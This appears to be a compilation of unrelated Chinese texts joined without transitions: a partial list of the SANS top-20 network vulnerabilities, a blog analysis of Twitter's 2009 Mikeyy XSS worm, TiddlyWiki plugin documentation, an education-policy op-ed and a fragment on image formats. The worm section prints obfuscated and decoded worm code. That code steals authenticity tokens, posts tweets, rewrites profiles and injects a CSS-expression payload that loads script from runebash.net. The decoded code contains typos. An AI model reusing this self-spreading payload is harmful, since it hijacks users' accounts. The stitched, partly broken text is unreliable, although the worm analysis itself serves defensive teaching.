密碼,往往是系統上唯一的保護機制,如果連這一層都省了,那駭客就能輕易如入無人之境。而設了密碼機制就代表安全了嗎?誰都知道使用者名稱(Login ID)是很容易取得的,無非是員工姓名、員工編號、或者是等。管理者往往為了管理與授權上的方便,都會使用預設的使用者名稱或相對應(甚至相同)的密碼提供給使用者,其後雖然有更改密碼的功能,不過使用者通常為了省事、或怕忘記,極少願意更改預設值。而且你不要不相信,即使是自訂的密碼,有心人士也是很容易取得的,因為八九不離與自己相關的數字或單字,例如:生日、電話、車號、或英文名字…等。

3. 沒有備援,或是備援機制不完備

像這一類可能促使企業蒙受損害的,均應被視為漏洞的一員。當有緊急意外發生時,即時的資料復原能力是很重要的。先遑論是否有做好備援機制,即使是備援系統均以定期更新方式進行備援,然能達到同步備援的系統並不在多數;再說就算有定期備援,企業也總是在事件發生後,才能驗證到備援是否正常運作,以及是否即時解救了企業最新才輸入的資料。

4. 開放的連接埠(Port)越多,駭客越能如入無人之境

駭客其實是跟一般使用者一樣,均透過開放的連接埠連上系統,可想而知的是,開放越多的連接埠,即是開啟了越多扇大門供出入,如此一來,在管理與偵測工作上更加難以落實。

5. 即使是有正確位址的封包,未經過濾者仍潛伏危機

使用假的IP位址是駭客掩飾身份的一貫手法,許多駭客即利用假的IP位址來傳送含有攻擊程式的封包至受害者電腦上,所以針對網路管理者應針對進出的封包設下過濾的準則來定義封包是否可以通行。

6. 沒有保存網路出入記錄 (Log),或者保存得不完整,無法稽查

「防範勝於治療,偵測更是必須的」是網路安全工作上的座右銘。每天都有大大小小駭客入侵事件傳出,而每每均有新的手法與漏洞被發掘出來,你可能無法總是趕在駭客之前發現漏洞的存在,但若能在遭受入侵之時,實施及早發現及早治療,那麼駭客是可以適時遏止的。因此完整保存進出防火牆的網路使用記錄,並加以分析,是入侵偵測工作的第一步,那麼即使沒有每天觀察分析報表的閒工夫,至少可以在事件發生時,檢查問題的發生途徑、哪些系統受損、追蹤始作俑者、並避免重蹈覆轍。

7. CGI程式容易漏洞百出

大部分的網站伺服器都有支援CGI(Common Gateway Interface)程式,包括微軟的IIS與Apache也是。於是問題就出在,大部分的人均直接把CGI程式的範本套用在網站伺服器上,他們忽略了這樣的程式,會把網路使用者鏈結到網站伺服器的作業系統上,於是不懷好意的人就可以很容易的朝伺服器下手,例如:網路資料庫遭竊取、網頁遭竄改…等,更甚者駭客會藉機留了一條後路方便日後再次光臨,實在是後患無窮。

二、 Windows漏洞

8. Unicode

統一編碼(Unicode)的功能,跨越了平台、程式、以及語言的藩籬,將所有的字體都給予一個碼來定義,例如『/』符號,若用統一編碼來表示即變成冗長的『%2f』。然而因為IIS(Internet Information Server)的安檢功能並無法辨識過長的名稱,所以URL上過長的統一編碼便可繞過IIS的安全檢測,直搗黃龍。

9. ISAPI 延伸程式的緩衝區溢位

使用微軟系統的NT或2000的網站伺服器,大部分也都有使用IIS,一旦安裝了IIS,也會自動安裝上ISAPI(網際網路伺服器應用程式介面;Internet Server Application Programming Interface),ISAPI即是以副檔名為DLL(動態鏈結程式庫;Dynamic Link Library)的形式在伺服器上運作。例如有些DLL檔在處理使用者送過來的資料時會發生問題,因為該DLL檔將因為無法處理過長的字串,於是產生「緩衝區溢位」(Buffer Overflow)的現象而造成當機,這時駭客就可以藉此輕鬆接管IIS了。

10. IIS RDS(Remote Data Services)

IIS尚有許多漏洞,例如駭客已經可以做到,利用RDS程式上的弱點,以管理者身份來執行遠端指令,還好IIS系統修補程式已經出爐了,只要將MDAC升級至2.1以上的版本,即可克服此問題。

11. NETBIOS - 開啟網路分享,開啟漏洞

SMB(Server Message Block)是可以透過網路分享檔案的協定,許多使用者或企業將其內部網站或機密資料夾開了分享,以供其他同事或合作夥伴使用或存取,但是如果沒有配合適當的設定,無形中即為駭客開了一扇大門,駭客將因此竊取資料,甚至植入病毒。同樣的情形即使是在麥金塔(Macintosh)或Unix系統上也可能發生。

12. Null Session可能是資料洩漏的通道

許多網站常會使用一個Null Session connection機制,給那些未經授權的人使用,例如是一個Guest的使用者名稱與相對應的預設密碼;或是讓一些忘了密碼或使用者名稱的人可以進一步查詢資料。再舉個例子來講,如果A電腦有時需要到其他電腦上做些工作或取得資料,這時便可以使用Null session這樣的機制去做存取的動作,相同的,駭客也可輕易的登入Null session,游走於各電腦之間。

13. LAN Manager的密碼弱點

在Window NT或 Windows 2000的系統上,微軟會預設一組密碼給網域管理員(LAN Manager),由於網路管理員裡所用的加密機制非常容易破解,故其保護效果不大。更誇張的是,這套密碼機制,最多只需花一個月的時間就能破解,因為密碼長度只有14個字元,而且還能以空白字元來堆疊至14個字元即可,再者密碼會被轉換成大寫字母,最後還有14個字元的密碼會被分開成兩串分別為七個字元的密碼串。換句話說,駭客只需克服兩個長度分別為7個字元的密碼即可,甚至不需要去嘗試破解小寫字母。

三、 UNIX漏洞

14. RPC的緩衝區溢位

RPCs (Remote Procedure Calls)的用途是在A電腦可以遠端地遙控與執行B電腦上的程式,通常被用在NFS的檔案分享與NIS上面。在1999至2000年間,這個漏洞曾對美國國防部與軍事系統造成不小的傷害。

15. Sendmail也有漏洞

UNIX與Linux系統上有個專門用來收發或轉寄電子郵件的Sendmail功能,經常是駭客攻擊的目標。駭客的攻擊方式即是傳送一封攻擊信件到正在執行Sendmail的機器上,而Sendmail會依照這封信的指示,要求受害電腦將其密碼檔傳送給駭客(也許是傳給其他的受害者也說不定),如此一來密碼即被大量外洩。

16. BIND的漏洞

BIND(Berkeley Internet Name Domain) 是DNS(Domain Name Service)用來將網址名稱(例如:www.syscom.com.tw)轉為IP位址(210.59.224.48)的軟體,根據1999年的調查顯示,約有過半的DNS伺服器都是使用這種有安全漏洞之虞的BIND版本。

17. R 指令

公司裡的網路管理者經常身兼數職:一個人同時管理數十個甚至上百個不同的系統,於是為了方便起見,管理者會使用UNIX上的R指令來做系統切換,而不需要頻頻輸入認證密碼,這些系統即可自行組成了一個所謂的信任網路。由於在此網路內不需密碼即可在各系統中自由穿梭,故駭客只需看準其中一個目標侵入,則可直達此信任網路中的任一系統。

18. LPD

在UNIX上,in.lpd讓使用者可以與印表機做互動,讓A印表機上的工作可以轉到B印表機上執行,然而如此一來卻引發了緩衝區溢位的漏洞,因為如果B印表機在短時間裡收到過量的工作,印表機便可能因此當機或變成亂碼。

19. sadmind and mountd

sadmind及mountd程式本身在開發時即有一些瑕疵,這些程式上的錯誤可能也會導致緩衝區溢位的現象,駭客即可由此途徑得逞。其中,sadmind能以遠端管理來存取Solaris系統,而mountd則是用來控制UNIX上的NFS。

20. 預設的SNMP字串

簡單網路管理協定SNMP(Simple Network Management Protocol)是網路管理者用來管理各式的網路連接設備,包括路由器、印表機、電腦等,SNMP均只用了一組未經過加密的社群字串(community string),來當作唯一的授權認證機制。而這些大部分的網路設備均使用這個預設的社群字串,且很少設備廠商會將其更改成私人用的字串,於是駭客便利用這個弱點,來遠端進行重新設定,甚至將任一網路設備關掉。更糟的是,從觀察SNMP流量上來看,就可以看出大致的網路結構及其周邊連接在一起的設備,入侵者即可以此為藍圖進行攻擊計畫。

除了發表上述的二十大網路安全漏洞以外,這份名單也提供了每一種漏洞相關的解決之道,並給予網路管理者一些中肯的建議,讀者可自行上SANS Institution網站查閱。

我們都知道,網路安全問題的產生多來自有心人士惡意的攻擊,可能是內部的網路管理不當,或離職員工的破壞,也可能是外部不肖份子,為了達到利益、仇恨、或娛樂等目的所用的手段,但不管其目的為何,駭客可能的入侵方式,均不出造成系統當機、植入病毒、取代系統管理員、破解密碼、竊取資料、破壞程式…等。所謂魔高一尺,道高一丈,現在的資訊科技針對各種入侵手法也已有了各式的防範技巧,像是防火牆、入侵偵測、備援系統、防毒解毒、資料加密…等,均是企業在實施安全策略時缺一不可的機制,當然無庸置疑的是,諮詢專業資訊廠商,絕對是網路安全建設的第一步。

本文網址 : http://www.7747.net/Article/200904/37640.html

經過一個星期,Mikeyy 蠕蟲發威了五次,twitter 也號稱將所有相關的 XSS(跨網站腳本)漏洞都修復了。結果昨天 Mikeyy 再度發威,twitter也再度公佈,並在幾小時候宣布已經修補漏洞。沒想到18 小時後,Mikeyy 又重現,twitter 也又趕快公佈並著手處理...(見下圖。)

[img[img/xss/twitter01.png]]

這次蠕蟲來的猛,幾個小時內發出超過一萬五千封假 tweet 訊息:

[img[img/xss/twitter02.png]]

難道說這麼簡單到不行的 twitter 介面,在經過一個星期後,還是無法正確修補XSS(跨網站腳本)漏洞?不...會...吧?事實上也是這樣,六代跟一至五代的 XSS 攻擊字串不同,證明了 twitter 的修補方法都是錯的,我們這邊就藉此實例來說明,為何 XSS(跨網站腳本)那麼難修補?

這次的蠕蟲放在:hxxp:&#47;&#47;runebash.net/xss.js,有經過一層的混碼(obfuscation):
{{{
var _0xe2ec=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x65\x6E\x64","\x73\x70\x6C\x69\x74","\x6A\x6F\x69\x6E","\x27","\x25\x32\x37","\x28
}}}
Google了半天,竟然沒有人貼出解碼後的版本(連解碼前之以上版本都找不到),真是苦命,都沒人想研究嗎?只好自己手動解一下:
{{{
function wait() {
var content = document.documentElement.innerHTML;
var tmp_cookie=document.cookie;
var tmp_posted=tmp_cookie.match(/posted/);
authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken=authreg.exec(content);
var authtoken=authtoken[1];
var randomUpdate= new Array();
randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm http://bit.ly/XvuJe";
randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";

var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
var updateEncode=urlencode(randomUpdate[genRand]);

var ajaxConn= new XHConn();
ajaxConn.connect("/status/update","POST","authenticity_token="+authtoken+_"&status=

"+updateEncode+"&return_rendered_status=true&twttr=true");
var _0xf81bx1c="Mikeyy";
var updateEncode=urlencode(_0xf81bx1c);
var ajaxConn1= new XHConn();
ajaxConn1.connect("/account/settings","POST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
var XSS=urlencode(genXSS);
var ajaxConn2= new XHConn();
ajaxConn2.connect("/account/profile_settings",""POST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");

} ;
setTimeout(wait(),5250);
}}}
重點在第 34 行,也就是這次攻擊的字串:
{{{
var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
}}}
恩,沒錯,字串中沒有「<」或「>」或「"」等字元,當然也沒有「<script>」或「<script src=」等字串,但是還是有效達成XSS(跨網站腳本)的效果。

我們看一下被感染後使用者的原始 HTML(節錄):
{{{
ul.sidebar-menu li.active a {
font-weight: bold;
color: #341957;
background-color: #000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333;
}
}}}
恩,沒錯,這樣子就足夠讓xss.js執行起來並感染使用者了。一至五代的攻擊字串如下,其中就帶有「<script>」字串:
{{{
var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');
}}
有效防範XSS之難處在於,每個網站的架構之不同,可能造成多層的字串編解碼步驟,所以如何有效處理外來(不安全)的字串,因各網站而易,開發人員需要充分了解XSS的原理,才能有效避免。這個題目太大,晚上就要上飛機到RSA參展,目前無法寫太多,但是簡而言之,應盡量避免黑名單之使用,而採用白名單(比較資料型態,長度,合法性等)。以twitter的例子,twitter就是誤認為以黑名單方式過濾掉「<」或「>」或「"」等字元,就可以避免XSS了,但是當然不是這樣子,以這次六代的攻擊字串為例,其中並無包含任何以上字元,然而還是能有效執行並攻擊成功。XSS攻擊字串的設計很多,其中RSnake(ha.ckers.org與sla.ckers.org,OWASP有來台灣)的「XSS (Cross Site Scripting) Cheat Sheet」整理得很完整,可以參考。

為何說twitter是用黑名單方式?其實之前就測出來了,也有人通知,但是可能email都進垃圾信了,才會又讓Mikeyy捲土重來。其實不用測試,twitter的API手冊上,早就自己承認了:

[img[img/xss/twitter03.png]]

手冊上直接說:為了避免cross-site scripting漏洞,「<」與「>」會經過編碼...這個在駭客的眼裡,其實是說:我很有可能有XSS漏洞,快來打我。黑名單絕對不是有效防止XSS(跨網站腳本)的方法。這是因為在很多情況下,是不需要「<」與「>」,甚至「"」等字元,就可以攻擊成功的。

在問題終於排除後,twitter再次宣布「問題已經控制住了(under control)」。但是這已經是twitter第四次保證「控制住了」。會不會再發生呢?

作者 Wayne 為 阿碼科技 CEO

/***
|<html><a name="Top"/></html>''Name:''|PartTiddlerPlugin|
|''Version:''|1.0.9 (2007-07-14)|
|''Source:''|http://tiddlywiki.abego-software.de/#PartTiddlerPlugin|
|''Author:''|UdoBorkowski (ub [at] abego-software [dot] de)|
|''Licence:''|[[BSD open source license]]|
|''CoreVersion:''|2.1.3|
|''Browser:''|Firefox 1.0.4+; InternetExplorer 6.0|
!Table of Content<html><a name="TOC"/></html>
* <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Description',null, event)">Description, Syntax</a></html>
* <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Applications',null, event)">Applications</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('LongTiddler',null, event)">Refering to Paragraphs of a Longer Tiddler</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Citation',null, event)">Citation Index</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('TableCells',null, event)">Creating "multi-line" Table Cells</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Tabs',null, event)">Creating Tabs</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Sliders',null, event)">Using Sliders</a></html>
* <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Revisions',null, event)">Revision History</a></html>
* <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Code',null, event)">Code</a></html>
!Description<html><a name="Description"/></html>
With the {{{<part aPartName> ... </part>}}} feature you can structure your tiddler text into separate (named) parts. 
Each part can be referenced as a "normal" tiddler, using the "//tiddlerName//''/''//partName//" syntax (e.g. "About/Features").  E.g. you may create links to the parts (e.g. {{{[[Quotes/BAX95]]}}} or {{{[[Hobbies|AboutMe/Hobbies]]}}}), use it in {{{<<tiddler...>>}}} or {{{<<tabs...>>}}} macros etc.


''Syntax:'' 
|>|''<part'' //partName// [''hidden''] ''>'' //any tiddler content// ''</part>''|
|//partName//|The name of the part. You may reference a part tiddler with the combined tiddler name "//nameOfContainerTidder//''/''//partName//. <<br>>If you use a partName containing spaces you need to quote it (e.g. {{{"Major Overview"}}} or {{{[[Shortcut List]]}}}).|
|''hidden''|When defined the content of the part is not displayed in the container tiddler. But when the part is explicitly referenced (e.g. in a {{{<<tiddler...>>}}} macro or in a link) the part's content is displayed.|
|<html><i>any&nbsp;tiddler&nbsp;content</i></html>|<html>The content of the part.<br>A part can have any content that a "normal" tiddler may have, e.g. you may use all the formattings and macros defined.</html>|
|>|~~Syntax formatting: Keywords in ''bold'', optional parts in [...]. 'or' means that exactly one of the two alternatives must exist.~~|
<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!Applications<html><a name="Applications"/></html>
!!Refering to Paragraphs of a Longer Tiddler<html><a name="LongTiddler"/></html>
Assume you have written a long description in a tiddler and now you want to refer to the content of a certain paragraph in that tiddler (e.g. some definition.) Just wrap the text with a ''part'' block, give it a nice name, create a "pretty link" (like {{{[[Discussion Groups|Introduction/DiscussionGroups]]}}}) and you are done.

Notice this complements the approach to first writing a lot of small tiddlers and combine these tiddlers to one larger tiddler in a second step (e.g. using the {{{<<tiddler...>>}}} macro). Using the ''part'' feature you can first write a "classic" (longer) text that can be read "from top to bottom" and later "reuse" parts of this text for some more "non-linear" reading.

<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!!Citation Index<html><a name="Citation"/></html>
Create a tiddler "Citations" that contains your "citations". 
Wrap every citation with a part and a proper name. 

''Example''
{{{
<part BAX98>Baxter, Ira D. et al: //Clone Detection Using Abstract Syntax Trees.// 
in //Proc. ICSM//, 1998.</part>

<part BEL02>Bellon, Stefan: //Vergleich von Techniken zur Erkennung duplizierten Quellcodes.// 
Thesis, Uni Stuttgart, 2002.</part>

<part DUC99>Ducasse, Stéfane et al: //A Language Independent Approach for Detecting Duplicated Code.// 
in //Proc. ICSM//, 1999.</part>
}}}

You may now "cite" them just by using a pretty link like {{{[[Citations/BAX98]]}}} or even more pretty, like this {{{[[BAX98|Citations/BAX98]]}}}.

<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!!Creating "multi-line" Table Cells<html><a name="TableCells"/></html>
You may have noticed that it is hard to create table cells with "multi-line" content. E.g. if you want to create a bullet list inside a table cell you cannot just write the bullet list
{{{
* Item 1
* Item 2
* Item 3
}}}
into a table cell (i.e. between the | ... | bars) because every bullet item must start in a new line but all cells of a table row must be in one line.

Using the ''part'' feature this problem can be solved. Just create a hidden part that contains the cells content and use a {{{<<tiddler >>}}} macro to include its content in the table's cell.

''Example''
{{{
|!Subject|!Items|
|subject1|<<tiddler ./Cell1>>|
|subject2|<<tiddler ./Cell2>>|

<part Cell1 hidden>
* Item 1
* Item 2
* Item 3
</part>
...
}}}

Notice that inside the {{{<<tiddler ...>>}}} macro you may refer to the "current tiddler" using the ".".

BTW: The same approach can be used to create bullet lists with items that contain more than one line.

<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!!Creating Tabs<html><a name="Tabs"/></html>
The build-in {{{<<tabs ...>>}}} macro requires that you defined an additional tiddler for every tab it displays. When you want to have "nested" tabs you need to define a tiddler for the "main tab" and one for every tab it contains. I.e. the definition of a set of tabs that is visually displayed at one place is distributed across multiple tiddlers.

With the ''part'' feature you can put the complete definition in one tiddler, making it easier to keep an overview and maintain the tab sets.

''Example''
The standard tabs at the sidebar are defined by the following eight tiddlers:
* SideBarTabs
* TabAll
* TabMore
* TabMoreMissing
* TabMoreOrphans
* TabMoreShadowed
* TabTags
* TabTimeline

Instead of these eight tiddlers one could define the following SideBarTabs tiddler that uses the ''part'' feature:
{{{
<<tabs txtMainTab 
    Timeline Timeline SideBarTabs/Timeline 
    All 'All tiddlers' SideBarTabs/All 
    Tags 'All tags' SideBarTabs/Tags 
    More 'More lists' SideBarTabs/More>>
<part Timeline hidden><<timeline>></part>
<part All hidden><<list all>></part>
<part Tags hidden><<allTags>></part>
<part More hidden><<tabs txtMoreTab 
    Missing 'Missing tiddlers' SideBarTabs/Missing 
    Orphans 'Orphaned tiddlers' SideBarTabs/Orphans 
    Shadowed 'Shadowed tiddlers' SideBarTabs/Shadowed>></part>
<part Missing hidden><<list missing>></part>
<part Orphans hidden><<list orphans>></part>
<part Shadowed hidden><<list shadowed>></part>
}}}

Notice that you can easily "overwrite" individual parts in separate tiddlers that have the full name of the part.

E.g. if you don't like the classic timeline tab but only want to see the 100 most recent tiddlers you could create a tiddler "~SideBarTabs/Timeline" with the following content:
{{{
<<forEachTiddler 
		sortBy 'tiddler.modified' descending 
		write '(index < 100) ? "* [["+tiddler.title+"]]\n":""'>>
}}}
<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!!Using Sliders<html><a name="Sliders"/></html>
Very similar to the build-in {{{<<tabs ...>>}}} macro (see above) the {{{<<slider ...>>}}} macro requires that you defined an additional tiddler that holds the content "to be slid". You can avoid creating this extra tiddler by using the ''part'' feature

''Example''
In a tiddler "About" we may use the slider to show some details that are documented in the tiddler's "Details" part.
{{{
...
<<slider chkAboutDetails About/Details details "Click here to see more details">>
<part Details hidden>
To give you a better overview ...
</part>
...
}}}

Notice that putting the content of the slider into the slider's tiddler also has an extra benefit: When you decide you need to edit the content of the slider you can just doubleclick the content, the tiddler opens for editing and you can directly start editing the content (in the part section). In the "old" approach you would doubleclick the tiddler, see that the slider is using tiddler X, have to look for the tiddler X and can finally open it for editing. So using the ''part'' approach results in a much short workflow.

<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!Revision history<html><a name="Revisions"/></html>
* v1.0.9 (2007-07-14)
** Bugfix: Error when using the SideBarTabs example and switching between "More" and "Shadow". Thanks to cmari for reporting the issue.
* v1.0.8 (2007-06-16)
** Speeding up display of tiddlers containing multiple pard definitions. Thanks to Paco Rivière for reporting the issue.
** Support "./partName" syntax inside <<tabs ...>> macro
* v1.0.7 (2007-03-07)
** Bugfix: <<tiddler "./partName">> does not always render correctly after a refresh (e.g. like it happens when using the "Include" plugin). Thanks to Morris Gray for reporting the bug.
* v1.0.6 (2006-11-07)
** Bugfix: cannot edit tiddler when UploadPlugin by Bidix is installed. Thanks to José Luis González Castro for reporting the bug.
* v1.0.5 (2006-03-02)
** Bugfix: Example with multi-line table cells does not work in IE6. Thanks to Paulo Soares for reporting the bug.
* v1.0.4 (2006-02-28)
** Bugfix: Shadow tiddlers cannot be edited (in TW 2.0.6). Thanks to Torsten Vanek for reporting the bug.
* v1.0.3 (2006-02-26)
** Adapt code to newly introduced Tiddler.prototype.isReadOnly() function (in TW 2.0.6). Thanks to Paulo Soares for reporting the problem.
* v1.0.2 (2006-02-05)
** Also allow other macros than the "tiddler" macro use the "." in the part reference (to refer to "this" tiddler)
* v1.0.1 (2006-01-27)
** Added Table of Content for plugin documentation. Thanks to RichCarrillo for suggesting.
** Bugfix: newReminder plugin does not work when PartTiddler is installed. Thanks to PauloSoares for reporting.
* v1.0.0 (2006-01-25)
** initial version

本文網址 : http://www.zdnet.com.tw/enterprise/blog/0,2000085759,20145471,00.htm

洪朝貴 2010/05/14 05:00:00

我國政府推動科技的著眼點很有趣。我們採取的是 產值觀點 ,而不是 應用觀點 。這個觀點下的科技政策,套在教育上,特別突顯出 「追逐手段,丟棄目的」 的嚴重問題。

以我所熟悉的自由軟體為例,早就重複呼籲:停止淘金美夢方能發現真正價值 ;不過到現在,自由軟體的經費仍舊由經濟部工業局而不是審計部或研考會主導。又以雲端為例, 吳院長大談產值 ;但是導入雲端運算,對消費者而言,真實價值到底在那裡呢?不過如果他聽到先導的實驗替代方案,很有價值,卻沒多少產值,那麼相信這也很難引起他的興趣。因為政績靠產值,而不靠實用價值來呈現。

院長管的事太龐雜,很難講出精確的價值;那麼就只談教育吧。以電子書包為例,政策委員、立法 委員 趙麗雲 和 電 子書包發展促進會楊重和會長 的觀點,都是產值。該促進會成員包含國科會與 「教育界」 (不知道是大學資訊科系為主,還是中小學老師為主?),所以即便不是政府單位,相信對於政府也有極重大的影響力。當然,同樣是 資訊專家 ,如果看到的 產值受惠者 不同,那麼建議導入的科技也就不同。從 數位內容產業推動者 的觀點來看,iPad 比電子書包更適合導入教育界 。

我來補充為什麼:目前一般人所想像的數位內容產業,其產值繫於 遙控數位枷鎖 的完封性;而遙控數位枷鎖 則需要集權架構來支撐 。因為一般 PC 所做的電子書包,有豐富的競爭生態;而單一廠商可以主導一切的 iPad,對於傳統想像的數位內容產業比較友善。(附帶一提:注意力經濟模式下的數位內容產業,並不需要遙控數位枷鎖;不過那是另一個話題。)

用產值觀點看教育,意見最大聲的是產業界 -- 包含產官學界的 資訊專家 。他們關心的對象,是 資訊產業的產值與受惠者 ,而不是教育。

不該用產值觀點看教育? 那麼應該改用什麼觀點來看呢? 我有一個簡單的建議:試著改用教育觀點來看教育如何? 如果邀請 教育專家 ,根據不同的 教育情境 (例如小學、高中數學、自閉症、公民與道德、...),而提出不同的導入建議,不是比較合理嗎? 為什麼政府的這些重大科技政策決策過程當中,都聽不見教育專家及第一線老師的聲音呢?

事實上,就連 關心教育 的資訊專家的意見,也被完全忽略。MIT 媒體實驗室的 OLPC 計畫,其實正是小筆電的先驅。數位科技如何幫助教育? OLPC 計畫主持人 Nicholas Negroponte 認為:「... 小孩子應該創作、溝通、探索、分享...」 。他看到的重點不是那一個廠牌型號的硬體,而是小孩子 溝通、合作的自主學習模式 :

    [OLPC 的] 網狀網路 (Mesh Network) 技術,其重點不在於網路技術本身,而在於它鼓勵合作 -- 孩子們互相學習、孩子們分享,...

網路讓參與、分享、討論變得很容易。Web 2.0 現象、長尾現象、Read-Write-Web、參與式的文化 、... 這些真正改變世界的強大力量,來自於 使用者參與主導 的新型態使用文化,而不是來自於那一個廠牌那一個型號的特定硬體技術。把這些預計投入硬體技術的資源省下來,改用百分之一的資源投入教育部鴨子划水辛苦推動的創用 CC 之類 改變使用文化 的領域,對於教育的貢獻會大得多。

更進一步,決策過程也可以採用真正改變世界的新方式。重點不是我一個人決策局外人的建議;重點更不是 OLPC 成品本身。政府制定這些政策時,應該將 決策過程公開透明化 ,透過網路討論/推薦議題的方式,邀請原本被排除在決策之外的所有民眾,特別是教育專家、第一線的老師、家長共同參與意見。讓消費者與使用者表達他們想購買什麼樣的產品 -- 很可能也應該是非常多樣、長尾、小眾的需求 (OLPC 或任何廠牌的產品都只是其中的一部分) -- 而不是由少數廠商關係良好的 資訊專家 來幫大家決定國家應該拿納稅人的錢替納稅人買什麼樣的產品,這樣才能夠做出真正有意義的 「科技融入教育」 決策。

Negroponte 在一場 檢討 OLPC 推動成效、分享推廣經驗的演講 上提到:直接培力使用者 -- 小朋友,不是老師 -- 帶來令人驚豔的經驗。全球各地的小朋友,用 OLPC 這麼低階便宜的電腦,透過同儕分享學習,竟然不只自學,還能教他們的父母親許多事。且讓我用他演講裡面的一些話來結尾:

    你可以把電腦放進教室。你可以建一間電腦教室。但這些事情都無關宏旨。
    ...
    [原來 OLPC 最大的阻力不是貪污的政府或是物流] 原來最大的阻力,是在正常的商業洪流之下逆流而上 -- 那種來自行銷部門、對教育議題天真無知的觀點。
    ...
    [我自問:] 我做的事情,一般的商業力量會進來做嗎? 如果會,那麼我就不做了。如果一般的商業力量本來就會進來,那麼這裡就不需要我了。
    ...
    我們要做的事情,與商業力量垂直;要推動商業力量改變方向。

哦,對了,他提到促成 OLPC 的許多關鍵人物,是政府官員/公務員。為了臺灣的下一代,我們的政府官員/公務員是否願意聽聽 MIT 教授的建議,是否有勇氣做一些 「一般的商業力量本來不會做的事」、有遠見可以 「推動商業力量改變方向」? 是否願意改用教育觀點來看教育? 或者,我們就是不愛 MIT,就只愛聽談論產值的大型壟斷企業的聲音,堅持用 [資訊產業的] 產值觀點來看教育? 歷史對我們這一代產官學利益結構所做出的最終決定,將會有所記錄與評論。

*****
作者洪朝貴,現任朝陽科技大學資訊管理系副教授,長期推廣自由軟體並關心資訊社會的人權議題。他覺得人生苦短,有趣有意義的好玩事太多了,不值得浪費在「為了升等而寫論文」上面。

前些日子和異塵兄在討論 螢幕截圖是用 JPG 格式來存好呢,或是用 PNG 格式比較好?基於科學的精神,上網找了一下,Wikipedia 果然敘述的鉅細靡遺,PNG 和 JPG 優缺點分析如下:

JPEG can produce a smaller file than PNG for photographic (and photo-like) images since it uses a lossy encoding method specifically designed for photographic image data. Using PNG instead of a high-quality JPEG for such images would result in a large increase in filesize (often 5-10 times) with negligible gain in quality.

